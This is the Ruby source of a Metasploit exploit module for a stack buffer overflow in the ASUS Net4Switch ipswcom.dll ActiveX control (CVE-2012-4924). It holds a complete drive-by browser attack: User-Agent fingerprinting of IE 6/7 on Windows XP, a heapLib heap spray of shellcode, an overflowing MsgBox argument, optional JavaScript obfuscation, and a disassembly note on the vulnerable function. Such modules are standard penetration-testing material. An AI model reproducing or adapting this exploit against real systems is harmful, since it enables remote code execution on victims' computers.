## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll ActiveX control. A buffer overflow condition is possible in multiple places due to the use of the CxDbgPrint() function, which allows remote attackers to gain arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dmitriy Evdokimov', #Initial discovery, poc 'sinn3r' #Metasploit ], 'References' => [ [ 'CVE', '2012-4924 ' ], [ 'OSVDB', '79438' ], [ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ] ], 'Payload' => { 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'EXITFUNC' => "seh", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ], [ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 17 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(agent) return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) if my_target.nil? print_error("Browser not supported: #{agent.to_s}") send_not_found(cli) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) nops = Rex::Text.to_unescape(make_nops(4)) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } JS spray = heaplib(spray, {:noobfu => true}) js = <<-JS var obj = new ActiveXObject("ipswcom.IPSWComItf"); #{spray} function generate_padding(d, s) { var tmp = d; while (tmp.length < s) { tmp += tmp; } var buf = tmp.substring(0, s/2); tmp = null; return buf; } var arg1 = generate_padding(unescape("%u4141"), 4); var arg2 = "A"; // Expands to 0x0041, helps us to align the stack arg2 += generate_padding(unescape("%u4343"), 2680); arg2 += unescape("%u4242%u4242"); arg2 += unescape("%u0d0d%u0d0d"); arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length); obj.MsgBox(arg1, arg2, 2); JS #obfuscate on demand if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end html = <<-EOS EOS html = html.gsub(/\t\t/, '') print_status("Sending HTML") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin Download: http://www.softpedia.com/progDownload/ASUS-Net4Switch-Download-203619.html clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E C:\Program Files\ASUS\Net4Switch\ipswcom.dll .text:10030523 push ecx .text:10030524 mov eax, [ebp+arg_C] .text:10030527 mov [ebp+var_4], eax .text:1003052A cmp [ebp+var_4], 0 .text:1003052E jz short loc_10030541 <-- uType 10h .text:10030530 cmp [ebp+var_4], 1 .text:10030534 jz short loc_10030573 <-- uType 44h .text:10030536 cmp [ebp+var_4], 2 .text:1003053A jz short loc_100305A5 <-- CxDbgPrint ... .text:100305A5 loc_100305A5: ; CODE XREF: MsgBox+1Aj .text:100305A5 mov eax, [ebp+lpText] .text:100305A8 push eax .text:100305A9 push offset aIpsw_alertS ; "[IPSW_alert] = %s" .text:100305AE push 0FFh .text:100305B3 call ds:CxDbgPrint =end